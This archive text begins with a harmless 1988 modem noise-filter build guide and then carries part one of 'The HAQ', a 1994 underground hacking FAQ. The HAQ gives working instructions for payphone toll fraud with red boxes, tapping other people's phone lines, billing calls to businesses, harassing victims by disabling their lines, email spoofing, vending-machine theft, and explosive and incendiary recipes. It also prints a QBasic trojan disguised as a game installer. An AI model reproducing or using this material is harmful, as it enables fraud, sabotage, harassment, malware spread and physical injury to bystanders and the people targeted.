Modem Noise Destroyer (Alpha Version)

Modem Noise Killer (alpha version)

With this circuit diagram, some basic tools including a soldering iron, and
four or five components from Radio Shack, you should be able to cut the
noise/garbage that appears on your computer’s screen.

I started this project out of frustration at using a US Robotics 2400 baud
modem and getting a fare amount of junk when connecting at that speed. Knowing
that capacitors make good noise filters, I threw this together.

This is very easy to build, however conditions may be different due to modem
type, amount of line noise, old or new switching equipment (Bell’s equipment),
and on and on. So it may not work as well for you in every case. If it does
work, or if you’ve managed to tweek it to your computer/modem setup I’ d like
to hear from you.

I’d also appreciate any of you electronic wizzards out there wanting to offer
any improvements. Let’s make this work for everyone!

Please read this entire message and see if you understand it before you begin.

OK, what you’ ll need from Radio Shack:

1 #279-374 Modular line cord if you don’t already have one. You won’t need one
if your phone has a modular plug in its base. $4.95

1 #279-420 Modular surface mount jack (4 or 6 conductor) $4.49

1 #271-1720 Potentiometer. This is a 5k audio taper variable resistor. $1.09

1 #272-1055 Capacitor. Any non-polarized 1.0 to 1.5 uf cap should do. Paper,
Mylar, or metal film caps should be used, although #272-996 may work as well.
(272-996 is a non-polarized electrolytic cap) $.79

1 100 ohm resistor – quarter or half watt. $.19

1 #279-357 Y-type or duplex modular connector. Don’t buy this until you’ve read
the section on connecting the Noise Killer below. (A, B,or C) $4.95

First off, open the modular block. You normally just pry them open with a
screwdriver. Inside you’ll find up to 6 wires. Very carefully cut out all but
the green and red wires. The ones you’ll be removing should be black, yellow,
white, and blue. These wires won’t be needed and may be in the way. So cut them
as close to where they enter the plug as possible. The other end of these wires
have a spade lug connector that is screwed into the plastic. Unscrew and remove
that end of the wires as well. Now, you should have two wires left. Green and
red. Solder one end of the capacitor to the green wire. Solder the other end of
the capacitor to the center lug of the potentiometer (there are three lugs on
this critter). Solder one end of the resistor to the red wire. You may want to
shorten the leads of the resistor first. Solder the other end of the resistor
to either one of the remaining outside lugs of the potentiometer. Doesn’t
matter which. Now to wrap it up, make a hole in the lid of the mod block to
stick the shaft of the potentiometer through. Don’t make this hole dead center
as the other parts may not fit into the body of the mod block if you do. See
how things will fit in order to find where the hole will go. Well, now that
you’ve got it built you’ll need to test it. First twist the shaft on the
potentiometer until it stops. You won’t know which way to turn it until later.
It doesn’t matter which way now. You also need to determine where to plug the
Noise Killer onto the telephone line. It can be done by one of several ways:

A. If your modem has two modular plugs in back, connect the Noise Killer into
one of them using a line cord. (a line cord is a straight cord that connects a
phone to the wall outlet. Usually silver in color)

B. If your phone is modular, you can unplug the cord from the back of it after
you’re on-line and plug the cord into the Noise Killer.

C. You may have to buy a Y-type modular adaptor. Plug the adaptor into a wall
outlet, plug the modem into one side and the Noise Killer into the other. Call
a BBS that has known noise problems. After you’ve connected and garbage begins
to appear, plug the Noise Killer into the phone line as described above. If you
have turned the shaft on the potentiometer the wrong way you’ll find out now.
You may get a lot of garbage or even disconnected. If this happens, turn the
shaft the other way until it stops and try again. If you don’t notice much
difference when you plug the Noise Killer in, that may be a good sign. Type in
a few commands and look for garbage characters on the screen. If there still
is, turn the shaft slowly until most of it is gone. If nothing seems to happen
at all, turn the shaft slowly from one side to the other. You should get plenty
of garbage or disconnected at some point. If you don’t, reread this message to
make sure you’ve connected it right.

***END OF ORIGNAL FILE***

ADDITION TO ORIGNAL FILE – 2/29/88 – Mike McCauley – CIS 71505,1173

First, a personal recomendation. _THIS WORKS!!!_ I have been plagued with
noise at 2400 for some time. I went round and round with Ma Bell on it, and
after they sent out several “repair persons” who were, to be kind, of limited
help in the matter, I threw in the towel. I saw this file on a board up east
a few days ago, and thought I’d bite. Threw the gismo together in about 10
minutes, took another five to adjust the pot for best results on my worst
conection, and guess what? No more worst connecion! A few pointers:

1) The pot need not be either 5K or audio taper. I used a 10K 15 turn trim pot.
Suggest you use what is handy.
2) I used 2MFD’s of capacitance (two 1MFD’s in parallel) Two R.S. p/n 272-1055
work fine. Remember that about 90 Volts will appear across red & green at
ring, so the caps should be rated at 100VDC+.
3) I ended up with a final series resistance value (100 ohm + pot) of 2.75K.
I speculate that one could probably use 2MFD and a fixed 2.7K resistor and
do the job 90% of the time. The adjustment of the pot is not very critical.
Changes of +/- 1K made little difference in the performance of the circuit.

Hope it works as well for you as it did for me.

Mike McCauley


The HAQ Edition 2.07 (June 11, 1994)

OK, it's a bit old but it *DOES* contain some valid information on UNIX
and Internet hacking... At least it's not as old as the Jolly Roger Cookbook
:), enjoy ppl

-=*( Prophet )*=-

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                        <*>  Edited by  <*>

                        # Editor-in-Chief #
               Belisarius < temporary loss of E-mail >
          can be reached on ISCA, Shadow, SkyNET, Brinta and
         Baltimore 2600 Meetings and other nameless locations.

                # Asst.  Editor (non communicado) #
               Neurophire (on Shadow and N P on ISCA)

                A MatrixMage Electronic Publication

Special Thanks to the Following Contributors:
Z Maestro     RA of ISCA Underground>
DINO          RA of Shadow Hack and Crack>
Artimage      RA of SKYNET Underground>

Faunus        Revolution        Miska               Informatik
Matrixx       Amarand           Crypto Steelyhart   aBBa / PfA
Beelzebub     Redbeard          Squarewave
IO            CyberSorceror     Caustic
Doktor Nil    Skipster          Walrus
CPT Ozone     Abort             Kyoti
Carsenio      Aero              Phrack

AND NOW A WORD FROM YOUR EDITOR:

     Throughout history mankind has been afraid of the unknown.
Before lightning could be scientifically explained it was blamed on
the anger of the gods.  This belief in mysticism persisted throughout
the ages (and still does today).  Later as man acquired simple herbal
and chemical knowledge, these men were revered as mages, users of
mystical arts derived from the old gods.  But as organized religion
(i.e. Christianity especially Roman Catholicism) spread and came to
dominate society (became the powers that be), the mage was no longer
revered.  The mage (who only sought to understand the world around
himself and make the world a better place) was persecuted, attacked
and driven underground by the church.  But driving these mages
underground (out of society) did not stop there ideas from spreading
or them from continuing to work.  The church label Copernicus as a
heretic and mage and only this century has the Roman Catholic church
accepted his principles (heliocentric universe) as fact.
     So are 'hackers' the same today.  We surf the nets seeking
knowledge and information (and hopefully understanding).  Information
and understanding the meaning and import of the information are the
two greatest commodities and bases of power in the world today.
These things are easy to disseminate and gather in the electronic
world.  The matrix (cyberspace/web/net [whichever term you choose]
is able to influence and control information faster and better than
ever before.  This makes many afraid of the cyberculture (not to
mention a deep-seated techno-fear of many people, anything new and
technical is bad).
     We are a new breed of mage; seeking knowledge, desiring
understanding, persecuted by the powers that be.  This is why I have
started this publication.  We are the MatrixMages!  Our mission is
to learn and to pass on that knowledge.

                                      -=> Belisarius <=-
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What is 'Cyberpunk' and the Underground?

"Every time I release a phile, or write an article for a zine, it's
vaguely like a baby.  It gets stored, and copied, and sent out all
over the world, and people read it.  It goes into their minds.
Something I created is buried in living tissue and consciousness
someplace.  Eventually somebody uses it, and I know that I have the
power to change the world.  Somewhere, someplace, somebody changed
something using information I changed or created.  I helped to
change the world."  --Unknown

That is the attitude of many of the people who, knowingly or not, are
members of this hyped/wired/cyber culture.  Some who may read this
will see some of their undefined beliefs, hopes and feelings
reflected in the above quote.  And, as the quote says, they will
help spread it.  Somewhere, somehow, that quote will change the
world.

But only if you work to change it.  Remember that information and
knowledge a powerful commodities.  He who has information cannot
be beaten.  So above all the most important thing to do in the
"Underground" is to gather information.  This means that you have to
work and put in some effort.  You don't get something' for nothing!
So work hard and together we can change the world!

Keep up with latest editions.  (Sorry there haven't been many lately
but exams and not failing out took precedence!)

The Haq, MatrixMage, THE HACK-FAQ!, Belisarius, Neurophyre,
or any contributor are not responsible for any consequences.
You use this information at your own risk.

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                              CONTENTS
*********************************************************************
Sections
   I. Phone Fun
       (Red Boxing, COCOTS, Beige Boxing, Cellulars, etc.)
  II. Fake E-Mail
       (Fooling UUCP)
 III. Social Engineering
       (Free sodas, Dumpster Diving, ATMs, Carding)
  IV. The Big Bang
       (Making Weapons and Explosives)
   V. Infection
       (Virii, Trojans, Worms and other creepy crawlies)
  VI. NEWBIES READ THIS
       (Basic Hacking)
 VII. Screwing with the most widespread operating system on the net
       (UNIX / AIX Hacking)
VIII. Screwing with the most secure operating system on the net
       (VAX/VMS Hacking)
  IX. Screwing with the most widespread operating system on PCs
       (MS-DOS Hacks)
   X. Finding out what that encrypted info is
       (Cracking programs)
  XI. How do I keep my info secure
       (PGP / Cryptology)
 XII. Chemistry 101
       (explosive/pyrotechnic component prep)
XIII. Fun things with solder, wires, and parts
       (Underground electronics)
 XIV. Watching television
       (cable, Pay-Per-View(PPV), scrambling)
  XV. Tuning in to what's on the radio waves
       (Radios and Scanning)

Appendices
   A. FTP sites with useful info
   B. Interesting Gophers
   C. Informative USENET Newsgroups
   D. Publications and Zines
   E. Books
   F. Files and Papers
   G. Cataglogs
   H. PGP Keys
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=====================================================================
I. Phone Fun
     (Red Boxing, COCOTS, Beige Boxing, Cellulars, etc.)

WHAT IS A RED BOX AND HOW DO I MAKE ONE?
(from Doktor Nil)

First note: a redbox is merely a device which plays the tone a
payphone makes when you insert money. You just play it through the
mike on the handset. You would think that the Phone Co. would mute
the handset until you put a quarter in, and perhaps they are starting
to build phones like that, but I have yet to see one.

What you need:
- Radio Shack 33 memory Pocket Tone Dialer
- 6.4 - 6.5536 megahertz crystal (get 6.5 MHz from Digikey, address
  below)
- A solder gun.
- Someone who can point out the crystal in the Tone
  Dialer.

Instructions:
1) Open up the back of the tone dialer. Use screwdriver.

2) Locate crystal. It should be toward the right side.
It will be smaller than the 6.5 MHz one you bought, but otherwise
vaguely similar.  It is basically capsule-shaped, with two electrodes
coming out of the bottom which are soldered onto a circuit board.
It's on the _left_ side, basically the third large crystal thing from
the bottom, about 1.5 cm long, metallic, thin.

3) De-solder, and de-attach, crystal. Heat the solder that the
crystal is seated in; remove crystal.

4) Attach 6.5 MHz crystal. It is easiest just to use the solder which
is already there from the old crystal, that way there is less chance
of you dropping hot solder somewhere it shouldn't be and losing
everything. Heat first one drop of solder with the solder gun, and
seat one electrode of the 6.4 MHz crystal in it, then do the same
with the other. This is the easiest part to mess up, be careful that
both drops of solder don't run together.

5) Put cover back on. you are done.

How to use: Five presses of the "*" key will make the quarter sound.
I think fewer presses make nickel/dime sounds, but I can't remember
specifically. Here in Michigan, you can simply hold it up to the
handset and press memory recall button 1 (where you have conveniently
recorded five *'s -read the tone dialer directions on how to do this)
and get a quarter credit, _IF_ you are calling LD. Keep making the
tone to get additional credits. There is a maximum number of credits
you can have at once.

To make a local call this may not work. You need to first put in a
real coin, then you can use the redbox for additional credits. There
may be a way around this, however: Call the operator, and ask her to
dial your number for you. She should do this without asking why, it
is a regular service. If you need an excuse, say the "4" key isn't
working, or something. She will ask you to insert your money. At
this point use the redbox. If all goes well, she dials your number
and you're in business. If she says "Will you do that one more time,"
or "Who is this," or any variations, hang up and walk away.

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WHAT DO THESE CRYSTALS LOOK LIKE?
In most cases, a rectangular metal can with two bare wires coming out
of one end, and a number like "6.50000" stamped on one side.

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WHAT IS THE BEST FREQUENCY FOR THE RADIO SHACK RED BOX CRYSTAL?
(from Matrixx)
6.49 is the actual EXACT crystal, 6.5 is more widely used, and 6.5536
is the easiest to find (Radio Shack)

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WHERE CAN I GET A CRYSTAL TO MAKE THE RED BOX?
The crystals are available from Digi-Key.  Call 1-800-DIGIKEY
(1-800-344-4539) for more info.  The part order number from
DIGI-KEY is x-415-ND

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WHAT ARE THE ACTUAL FREQUENCIES FOR REDBOX?
(from DINO)
For a Radio Shack conversion red box: a nickel is one * and a quarter
is 5 *'s

Here are the freqs for a red box:

$.25 1700 Hz & 2200 Hz for a length of 33 milliseconds for each pulse
     with 33 millisecond pause between each pulse
$.10 1700 Hz & 2200 Hz 2 pulses at 66 milliseconds and with 66
     millisecond pauses
$.05 one pulse at the above freqs for 66 milliseconds!

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HOW DO YOU KNOW THAT THE PHONE IS A COCOT?
(from Faunus, Carsenio)
If it doesn't say "______ Bell" on it, it's probably a COCOT.  COCOT
is a general term for Customer owned or "Bell-independent" phone
companies.  Sometimes they are more shabbily constructed than real
fortress phones but others look about the same except for a lack of
phone company logo.

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FOOLING COCOTS USING 800 NUMBERS?
You call up an 800 number as any public phone HAS too let you dial
800 numbers for free.  Then you let the person who answers the 800
number hang up on you, THEN you dial your number that you want to
call free.  OK MOST COCOTs disable the keypad on the phone so you
CANT just dial the number, you have to use a pocket tone dialer to
dial the number.

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HOW DO I MAKE A BEIGE BOX?
(from Neurophyre)
Supplies: phone cord, soldering iron, solder, 2 INSULATED alligator
          clips, ratchet wrench, 7/16-inch hex head

 1. Cut the head off one end of the phone cord.
 2. Strip the coating back about two (2) inches.
 3. Look for the red wire, and the green wire.
 4. Mark one clip green and put it on the green.
 5. Mark the other red and put it on the red.
 6. Once you have them soldered and insulated, plug the other end
    (that still has the head) into a phone.
 7. Go out in the daytime and look for green bases, green rectangular
    things sticking about 3 feet out of the ground with a Bell logo on
    the front.  If you're a lamer, you'll waste your time with a
    cable company box or something.  I've heard of it.
 8. Come back to a secluded one at night.  With the wrench, open it
    up.
 9. Find a set of terminals (look like the threaded end of bolts
    in my area) with what should be a red wire and a green wire
    coming off them.
10. Plug in your beige box red to red and green to green, pick up the
    phone and dial away!

Modems work too as well as taps and shit.  You're using someone
else's line (unless you're an idiot) to get phone service.  Don't
abuse the same line after the phone bill comes.

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BEIGE BOXING 101
                         Field Phreaking
                           by Revolution

     At the beginning of the section in the Bell training manual
entitled "One million ways to catch and fry a phreak" it doesn't
have a disclaimer saying "for informational purposes only".  So why
the hell should I put one here?  Give this file to whoever you want,
just make sure it all stays together, same title, same byline.

     Field phreaking gives you everything you've ever wanted: free
long distance calls, free teleconferencing, hi-tech revenge, anything
you can do from your own phone line and more, without paying for it,
or being afraid of being traced.  Just be ready to bail if you see
sirens.

How to make a beige box: Easiest box to make.  Cut your phone cord
before the jack, strip the wires a little.  You should see a red
(ring) wire and a green (tip) wire.  If you see yellow and black
wires too just ignore them.  Put one set of alligator clips on the
red wire and one on the green wire, and you're set.  (You want to
use your laptop computer, but you don't want to ruin your modem's
phone cord?  Just unscrew a jack from a wall, unscrew the 4 screws on
the back, and do the same thing as above. Now you can use a phone,
laptop, anything you can plug in a jack.)

How to use: What you have is a lineman's handset.  You can use it
from any bell switching apparatus (from now on sw. ap.).  These are
on phone poles, where your phone line meets your house, and near
payphones.  I'll go into detail below, but basically just open any
box on a telephone pole, and you'll see sets of terminals (screws),
with wires wrapped around them, just like on the back of a phone
jack.  These screws are where you need to attach your alligator
clips to get a dial tone.  Don't unscrew the screw, you'll just
fuck up some poor guys line, and increase your chances of getting
caught.  After the wire goes around the screw, it normally twists
off into the air.  Put your clip on the end of the wire.  Do the
same with the other clip.  If you don't get a dial tone, then
switch terminals.

On telephone poles:

TTI terminals: These must have been built by phreaks, just for
beige boxing.  By far the easiest sw. ap. use.  The only drawback
is that they only connect to one phone line.  These are the fist
sized gray or black boxes that appear where a single phone line
meets the mother line.  They look almost like outdoor electric
sockets, that have the snap up covering. They normally have the
letters TTI somewhere on the front.  No bolts or screws to take
off, just snap up the top and you will see four screws.  Clip in
and happy phreaking.  Just click the top down and no one will ever
know you were there (except for the extra digits on their phone
bill.)

Green trees:  just about the hardest sw. ap. to beige from (tied
with the bell canister) but if its the only one you can use, go for
it.  These are the 3 foot high green/gray metal columns that are no
wider than a telephone pole (which makes them different then the
green bases, see below), that say "Call before digging, underground
cable," or the real old ones just have a bell sign.  Usually green
trees are right at the base of phone poles, or within a foot or two
of them.  These normally have two 7/16 bolts on one side of the
column, which have to be turned 1/8 a turn counterclockwise, and
the front of the base will slide off.  Now you will see a sheet of
metal with a few square holes in it, that has a bolt where the
doorknob on a door would be.  Ratchet this one off and the metal
sheet will swing open like a door.  On one side of the sheet will
be a paper with a list of #'s this tree connects to.  Inside you'll
see a mass of wires flowing from gray stalks of plastic in sets of
two. The whole mass will have a black garbage bag around it, or
some type of covering, but that shouldn't get in the way.  The
wires come off the gray stalk, and then attach to the screws that
you can beige from, somewhere near the ground at the center of the
tree. These are on a little metal column, and sometimes are in a
zig-zag pattern, so its hard to find the terminals that match in
the right order to give you a dial tone.

Green bases: The gray/green boxes you see that look just like green
trees, except they are about twice or three times as wide.  They
open the same as trees, except there are always 4 bolts, and when
the half slides off, inside is a big metal canister held together
with like 20 bolts.  I wouldn't open it, but with a little info
from friends and some social engineering, I learned that inside is
where two underground phone lines are spliced together.  Also inside
is either pressurized gas or gel.  Pretty messy.

Bell canisters:  attached to phone poles at waist level.  They are
green (or really rusted brown) canisters about a two feet tall that
have a bell insignia on the side. They will have one or two bolts
at the very bottom of the canister, right above the base plate.
Take the bolts off and twist the canister, and it'll slide right
off.  Inside is just like a green tree, except there normally isn't
the list of #'s it connects to.

Mother load: Largest sw. ap.  A large gray green box, like 6 x 4,
attached to a telephone pole about three feet off the ground.  a big
(foot or two diameter) cable should be coming out the top.
Somewhere on it is a label "MIRROR IMAGE CABLE".  It opens like a
cabinet with double doors.  Fasteners are located in the center of
the box and on the upper edge in the center.  Both of these are
held on with a 7/16 bolt.  Take the bolts off, and swing the doors
open.  On the inside of the right door are instructions to connect
a line, and on the inside of the left door are a list of #'s the
box connects to.  And in the box are the terminals. Normally 1,000
phones (yyy-sxxx, where yyy is your exchange and s is the first
number of the suffix, and xxx are the 999 phones the box connects
too).

On houses: follow the phone line to someone's house, and then down
there wall.  Either it goes right into there house (then you're
screwed) or it ends in a plastic box.  The newer boxes have a screw
in the middle, which you can take off with your fingers, and then
put the box back on when you're done, but the older ones are just
plastic boxes you have to rip off.  Inside are 4 terminals, yellow,
black, and red and green, the two you need.  Find the Christmas
colors, and phreak out.

On payphones: follow the phone line up from the phone, and sometimes
you'll find a little black box with two screws in it.  Undo this,
and you'll find a nice little phone jack. You don't even need your
beige box for that one.  If there's not one of those, follow the
wire to a wall it goes into, and sometimes there will be a sw. ap.
like those on houses (see above).  Payphones are normally pretty
secure now though, and you probably won't find any of those.

Phreaky things you can do:  Jesus, do I have to tell you lamers
everything? Anyway, free long distance calls should be pretty easy,
and get teleconferencing info from somebody else, just make sure
you ANI the # you're calling from before calling Alliance.

Hi-tech revenge!
Possibilities are endless, you have total control of this lamers
line.  Most of you guys are probably way to elite for this one, but
you can disconnect his line by loosening a few screws and ripping
his wires at any sw. ap. but here's something a lot better:  Get the
faggots number, and then find the mother load sw. ap. it connects
to (not the sw. ap. on his house or on the telephone pole in his
drive way, the _mother_load_) Find his # in the terminals, and then
connect the two terminals with a paper clip or an alligator clip! His phone
will be busy until ma bell
figures out what the hell is going on, and since the last place
they look is the mother load, this usually is at least a week.
Then, of course, is the funniest prank:  Beige box from a major
store, like Toys R Us (that's my favorite) and call up ma bell
"Yeah, I'd like all calls to this number forwarded to (his
#)"

That's it.  Reach me as Revolution on ISCA, Cyberphunk on Shadow,
phunk on IRC, or Revolution on Delphi.  Any phreaks out there who
got new info, war stories or some addictive disorder and just need
somebody to talk to, E-mail revolution@delphi.com no PGP needed.

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WHAT PHONE NUMBER AM I CALLING FROM?
(from Skipster, et al)

This service is called ANI.

This number may not work, but try it anyway:
(800) 825-6060

You might want to try is dialing 311 ... a recorded message tells you
your phone #.  Experiment, but 311 does work, if it doesn't and an
operator picks up, tell her that you were dialing information and
your hand must have slipped.

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HOW DO I USE/DO ALLIANCE TELECONFERENCING?
(from Neurophire, Carsenio)
Set one of these up, it is a 1-800 dial-in conference.  Then, grab
your beige box, go to some business, preferably something like a
Wal-Mart or a Radio Shack and beige box off their line.  Then call
and set up a teleconference for whenever to be billed to the line
you are calling from.  You'll want to know specifically what to ask
for. Alliance teleconferencing is 0-700-456-1000.
Dial the number (you're of course paying for this by the minute)
and you get automated instructions on how to choose the number of
ports for your conference call, and how to dial each participant..

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

WHERE CAN I FIND VOICE MAIL BOXES TO PHREAK?
(from Token)
Just scroll through your favorite business magazine and look for
800#s.  Once you get a VMB system you can look for a box being used
and try the default passcodes <0000> , <9999> , etc.  Like on the
INet, most people are too dumb to change their passwd.  If you're
lucky you might get the root box (I did, the stupid ass's passwd
was <4321>).

=====================================================================
II. Fake E-mail
     (Fooling UUCP)

HOW DO I MAKE FAKE MAIL (OR HOW DO I FOOL UUCP)?
(from Beelzebub, Doktor Nil w/ Belisarius)

1.  Telnet to port 25 of any internet server
       (eg. telnet site.name.and.address 25)
2.  If at all possible, AVOID TYPING "HELO".
3.  Type: rcpt to (person to receive fake mail){ENTER}
4.  Type: mail from (fake name and address){ENTER}
5.  The mail server should ok each time after each name.
6.  If it does not:
     a) type vrfy and then the name of the person
     b) as a last resort use helo, this will login your computer as
        having been the source of the mail
7.  Retype the commands, it should say ok now.
8.  Type: data{ENTER}
9.  The first line of the message will be the Subject line
10.  Enter your letter
11.  To send letter type a "." on an empty line.
12. Then type quit{ENTER}
13. This is traceable by any sysadmin ... don't harass people this
    way.
14. If the person receiving the mail uses a shell like elm he/she
    will not see the telltale fake message warning
    "Apparently-To:(name)" even if not, most people wouldn't know
    what it means anyway.
15. Make sure you use a four part address somebody@part1.pt2.pt3.pt4
    so as to make it look more believable and cover any add-ons the
    mail routine might try
16. Put a realistic mail header in the mail message to throw people
    off even more.  If there are To: and Date: lines then the
    program probably won't add them on.
17. Also try to telnet to the site where the recipient has his
    account.  This works better if you know how to fool it.

=====================================================================
III. Social Engineering
     (Free sodas, Dumpster Diving, ATMs, Carding)

WHAT DOES SALTING VENDING MACHINES DO?
When you take concentrated salt water (a high concentration of salt)
and squirt it into the change slot (preferably where the dollar
bills come in, though some say it doesn't matter), the salt will
short circuit the machine and out will pour change and hopefully
sodas.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

ANOTHER WAY OF GETTING FREE SODAS?
This is an easier and actually more reliable way of getting free
sodas.  It only wprks pn spme machines though, usually Coca-Cola.
Anyways, put in your change and as the last coin goes down the slot
start rapidly and repeatedly pressing the button of your choice.
If everything works well, then you should get two sodas and your
change back.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

HOW ARE THE TRACKS OF ATM CARD ARRANGED?

The physical layout of the cards are standard.  The logical arrangement
of the data stored on the magnetic strip varies from institution to
institution.  There are some generally followed layouts, but not
mandatory.

There are actually up to three tracks on a card.

Track 1:
Designed for airline use.  Contains name and possibly your account
number.  This is the track that is used when the ATM greets you
by name.  There is alot of variation in how things are ordered so
occasionally you get 'Greetings Q. John Smith' or
'Greetings John Smith Q.' rather than 'Greetings John Q. Smith'.
This track is also used
with the new airline auto check in (PSA, American, etc).

Track 2:
The main operational track for online use.  The first thing
on the track is the Primary Account Number (PAN).  This is usually
pretty standard for all cards.  Some additional info might be on the
card such as expiration date.
One interesting item is the PIN (Personal Identification Number)
offset.  When an ATM verifies a PIN locally, it usually uses an
encryption scheme involving the PAN and a secret KEY.  This gives you
a "NATURAL PIN" (i.e. when they mail you your pin, this is how it got
generated).  If you want to select your own PIN, they would put the
PIN OFFSET in the clear on the card.  Just do modulo 10 arithmetic on
the Natural PIN plus the offset, and you have the selected PIN.
The PIN is never in the clear on your card.  Knowing the PIN OFFSET
will not give you the PIN.  This will require the SECRET KEY.

Track 3:
The "OFF-LINE" ATM track.  It contains information such as your daily
limit, limit left, last access, account number, and expiration date.
The ATM itself could have the ability to write to this track to
update information.

=====================================================================
IV. The Big Bang
     (Making Weapons and Explosives)

FLASH POWDERS:
(from Neurophyre)

Materials: Powdered magnesium, powdered potassium nitrate
1. Mix 1 part powdered magnesium and 4 parts of powdered potassium
   nitrate.
2. Light it with a long fuse cuz its so bright it might screw up your
   eyes.

 REAL Cherry Bomb Powder
    4 parts by weight of potassium perchlorate
        1 part by weight of antimony trisulfide
        1 part by weight aluminum powder

 Relatively Safe
    3 parts by weight of potassium permanganate
    2 parts by weight of aluminum powder

 *VERY* Shock/Friction/Static/Heat Sensitive!
 Use only if suicidal or desperate!
    4 parts by weight of potassium chlorate
        1 part by weight of sulfur
        1 part by weight of aluminum powder

1) To use these mixtures, SEPARATELY pulverize each ingredient into a
fine powder, the finer it is, the more power you get.  Use a mortar and
pestle if available, and grind GENTLY.  Do not use plastic as this can
build a static charge.  Remember, do them SEPARATELY.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

AMATEUR EXPLOSIVE (Ammonium Triiodide):
(from IO)
WARNING:  This explosive is EXTREMELY shock sensitive when dry, and
moderately sensitive when wet!!!  AVOID IT when dry!  DO NOT store!
The purplish iodine vapor this produces during the explosion will stain
and corrode!
1) Take a small plastic bucket, add 3-4 inches of household ammonia.
   This bucket will never be clean again, in all likelihood.
   Try to get clear (non-pine, non-cloudy) ammonia.  Or use an
   ammonium hydroxide solution from a chemlab.  This results in better
   but more sensitive, and therefore dangerous crystals.
2) Drop in iodine (like you use on scratches) one drop at a time, or,
   preferably, use crystals of iodine.
3) Let it settle, then pour it through a piece of cloth, discarding
   the runoff.
4) Squeeze *gently* to get out excess liquid.
5) Mold it onto the thing you want to blow up, stand **way** back.
6) Wait for it to dry, and throw a rock at it.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

HOW TO BUILD A TENNIS BALL CANNON?
1. Get six (6) tin cans.
2. From five of them remove the tops and bottoms.
3. From the last one remove only the top. (this is the last can to
   make the breach)
4. The cans should overlap and be fit together to make a long barrel
   closed at one end and open at the other.

                 ___________________________________
    open -->    ()____)_____)_____)_____)_____)_____)    <--closed
    (barrel)           1     2     3     4     5     6          (breach)

5. Duct tape all of the cans together.  USE LOTS OF TAPE!!
6. Put some gunpowder in the bottom of the CANnon.
7. Aim, brace the CANnon.
8. Spray hairspray or pour alcohol on the tennis ball and light.
9. Drop the ball into the can and STAND BACK!

Other ideas:
a) Make explosive tennis balls.
b) Launch potatoes.
c) Launch thumbtacks, nails, broken glass, etc.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

HOW DO I MAKE GUNPOWDER(NITROCELLULOSE)?
(from Terrorist's Handbook)
Materials: cotton, concentrated nitric acid, concentrated sulfuric
           acid, distilled water

Equipment: two(2) 200-300mL beakers, funnel, filter paper, blue
           litmus paper

Procedure: 1.  Pour 10mL of sulfuric acid into beaker.
            2.  Pour 10mL of nitric acid into beaker with sulfuric
               acid.
           3.  Immediately add 0.5 gram of cotton.
           4.  Allow it to soak for EXACTLY three(3) minutes.
           5.  Remove the nitrocellulose.
           6.  Put the nitrocellulose into a beaker of distilled
               water to wash it in.
           7.  Allow the material to dry.
           8.  Re-wash it.
           9.  Once neutral(acid/base) it can be dried and stored.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

WHAT IS THERMITE AND HOW DO I MAKE IT?
Thermite is a powder which burns incredibly hot (approx. 2200 deg C)
and can be used to burn through most anything.

Materials: powdered aluminum, powdered iron oxide

Procedure: mix the two powders together as evenly as possible

Ignition:  thermite is difficult to ignite but these work
            a) mix a small amount of potassium chlorate into the
               thermite mixture and ignite with a few drops of
               sulfuric acid
            b) magnesium strip or 'sparkler' stuck into the powder
               which is then lit as a fuse

=====================================================================
V. Infection
     (Virii, Trojans, Worms and other creepy crawlies)

WHERE CAN I GET SOME VIRII?
The Virus eXchange BBS in Bulgaria.  [number not available - :( ]
Problem:  They demand a virus they don't have in their archives to
let you in.  Good luck finding one.  The best way is to write one,
even if it's in BASIC. It'll probably get you in.  They have
THOUSANDS of virii.  IBM, Mac, Amiga, ... And they accept 2400 bps
from what I know! For more info, gopher to wiretap.spies.com and dig
around in their online library under technical info.

There are alot of places in the US to get virii too:
The Hell Pit in Chicago has over 1500, and they don't accept the
lame stuff like the ones written in basic, so they're all good ones.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

INTS USED:
(from Belisarius)
You want Int 18h, AH=03h,
Al==Num sectors to write
BX==offset of pointer to buffer
CH=cylinder Number
Cl=sector number
DX=head number
Dl=drive numbers
ES=segment of pointer with buffer

for CH=it's the low 8 bits of 10 bit cylinder number,
for CL=cylinder/sector number, bits 6,7=cylinder number(high 2 bits),
                                   0-5=sector number.
for DL=bit 7 = 0 for floppy, 1 for fixed drive upon return:
AH=status, AL=number of sectors written flags, carry set if an error.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

SAMPLE OF A TROJAN
(from Spear)

This is a little trojan I wrote in Qbasic 4.5  It's a bitch!

REM bitch by Spear
color 14,0
print"installing datafiles...  Please wait..."
print"This may take up to 20 minutes, depending on your computer..."
shell "cd\"
for a = 1 to 100000
a$=str$(a)
c$="md" + a$ + ".hee"
shell c$
next a
cls
print"Cybermattixx Version 1.0 is now installed on your system..."
print"Have a shitty day!"
print " ?AM?"
print
input "Hit ENTER To REBOOT your System now!";a$
shell "boot.com"

How to use it?
This can pose as the installation program for a game. This means that
when you upload it to a BBS or something, and post that it is a
kickass game, people will download it and try to install it on their
computers!

What does it do?
This program changes directory to the root and makes 100000 dirs in
the root.  You cannot use deltree to wipe them out in one chunk and
you CANNOT get rid of them without doing reverse engineering on the
program, ie. rd instead of md.  To get rid of them any other way you
would have to format c: or d:

-=-=-=-=-=-=-=-=-=-=-=-=-=- END of HAQ1.07/1 -=-=-=-=-=-=-=-=-=-=-=--=

                             -=*( Prophet )*=-
    ____                   __         __ 
   / __ \_________  ____  / /_  ___  / /_   The Truth Is Out There...
